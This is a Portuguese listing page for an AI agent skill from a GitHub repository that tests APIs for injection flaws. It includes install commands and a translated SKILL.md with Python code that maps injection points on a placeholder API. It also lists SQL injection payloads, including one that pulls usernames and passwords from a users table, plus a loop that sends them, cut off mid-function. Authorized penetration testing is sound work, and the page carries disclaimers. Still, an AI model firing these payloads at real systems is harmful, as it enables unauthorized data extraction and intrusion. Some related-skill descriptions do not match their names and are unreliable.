exploiting-api-injection-vulnerabilities
Ajuda seu agente a testar APIs em busca de falhas de injeção. Ele cria comandos especiais para extrair dados, executar comandos ou acessar serviços internos.
O que ela faz
Esta ferramenta testa se as informações enviadas para um site (como nomes de usuário ou senhas) podem ser usadas para enganar o sistema e acessar dados ou executar comandos sem permissão. Ela procura por falhas comuns de segurança em APIs.
Quando usar
- ✓Ao testar formulários de login ou busca em um site.
- ✓Quando uma API aceita URLs ou endereços de sites.
- ✓Para verificar se dados sensíveis podem ser expostos.
Exemplo do que pedir para a IA
“Verifique se a API de login é vulnerável a injeção de SQL.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia variações de comandos e dados maliciosos para diferentes partes da API (como campos de texto, cabeçalhos ou corpo da requisição). Ela então analisa as respostas para identificar se alguma tentativa teve sucesso em explorar uma falha.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-api-injection-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-api-injection-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Vulnerabilidades de Injeção em APIs
Quando Usar
- Testando endpoints de API que aceitam entrada do usuário para consultas de banco de dados, comandos de sistema ou requisições externas
- Avaliando APIs que interagem com bancos de dados SQL, armazenamentos NoSQL (MongoDB, Redis), diretórios LDAP ou URLs externas
- Verificando a validação de entrada e o uso de consultas parametrizadas em todos os endpoints de API
- Testando SSRF onde parâmetros de API aceitam URLs ou nomes de host que disparam requisições do lado do servidor
- Identificando pontos de injeção em cabeçalhos, parâmetros de caminho, strings de consulta e corpos de requisição JSON/XML
Não use sem autorização por escrito. Testes de injeção podem modificar ou destruir dados e comprometer sistemas de backend.
Pré-requisitos
- Autorização por escrito especificando a API alvo e os sistemas de backend em escopo
- Python 3.10+ com a biblioteca
requests - SQLMap para detecção e exploração automatizada de injeção SQL
- Burp Suite Professional com capacidades de Active Scan
- Conhecimento da tecnologia do banco de dados de backend (MySQL, PostgreSQL, MongoDB, Redis)
- Ambiente de teste isolado para evitar corrupção de dados de produção
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Etapa 1: Identificação do Ponto de Injeção
import requests
import json
import urllib.parse
BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}
# Map all input points across the API
injection_points = [
# Path parameters
{"type": "path", "method": "GET", "url": "/users/{input}"},
{"type": "path", "method": "GET", "url": "/products/{input}"},
{"type": "path", "method": "GET", "url": "/orders/{input}"},
# Query parameters
{"type": "query", "method": "GET", "url": "/users?search={input}"},
{"type": "query", "method": "GET", "url": "/products?sort={input}&order={input}"},
{"type": "query", "method": "GET", "url": "/products?category={input}"},
{"type": "query", "method": "GET", "url": "/search?q={input}"},
# JSON body parameters
{"type": "body", "method": "POST", "url": "/auth/login", "fields": ["username", "password"]},
{"type": "body", "method": "POST", "url": "/users", "fields": ["name", "email"]},
{"type": "body", "method": "POST", "url": "/search", "fields": ["query", "filters"]},
{"type": "body", "method": "POST", "url": "/webhook", "fields": ["url", "callback_url"]},
# Header parameters
{"type": "header", "method": "GET", "url": "/users/me", "headers": ["X-Forwarded-For", "Referer", "User-Agent"]},
]
Etapa 2: Teste de Injeção SQL
# Payloads de injeção SQL para diferentes contextos
SQL_PAYLOADS = {
"detection": [
"'",
"\"",
"' OR '1'='1",
"\" OR \"1\"=\"1",
"1 OR 1=1",
"' OR 1=1--",
"' UNION SELECT NULL--",
"1; WAITFOR DELAY '0:0:5'--",
"1' AND SLEEP(5)--",
"1)) OR 1=1--",
],
"union_based": [
"' UNION SELECT NULL,NULL,NULL--",
"' UNION SELECT 1,2,3--",
"' UNION SELECT username,password,NULL FROM users--",
"-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
],
"error_based": [
"' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--",
"' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
],
"time_based": [
"' AND SLEEP(5)--",
"'; WAITFOR DELAY '0:0:5'--",
"' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
"1; SELECT pg_sleep(5)--",
],
}
import time
def test_sql_injection(endpoint, param_name, param_type="query"):
"""Testa um parâmetro para injeção SQL."""
results = []
for category, payloads in SQL_PAYLOADS.items():
for payload in payloads:
start = time.time()
if param_type == "query":
url = f"{BASE_URL}{endpoint}"
resp = requests.get(url, headers=headers,
params={param_name: payload}, timeout=15)
elif param_type == "body":
resp = requests.post(f"{BASE_URL}{endpoint}",
headers=headers,
json={param_name: payload}, timeout=15)
…
Perguntas frequentes
O que é 'injeção' neste contexto?
É quando um invasor insere comandos ou dados inesperados em um campo de entrada para fazer o sistema se comportar de maneira não intencional, como revelar informações ou executar ações.
O que são 'vulnerabilidades de API'?
São falhas de segurança em interfaces de programação de aplicativos (APIs) que podem ser exploradas por atacantes para obter acesso não autorizado ou causar danos.
O que é SSRF?
SSRF (Server-Side Request Forgery) é uma vulnerabilidade onde um atacante pode fazer com que o servidor web faça requisições para outros serviços internos ou externos, como se fosse o próprio servidor.
Detalhes
Descrição original do autor
Tests API parameters, headers, and request bodies for injection flaws — SQL injection, NoSQL injection, OS command injection, LDAP injection, and SSRF — by crafting payloads tailored to the target backend to extract data, execute commands, or reach internal services, mapped to OWASP API8:2023 and API7:2023 SSRF. Use when performing SQLi, NoSQL injection, command injection, or SSRF testing against
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5737
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC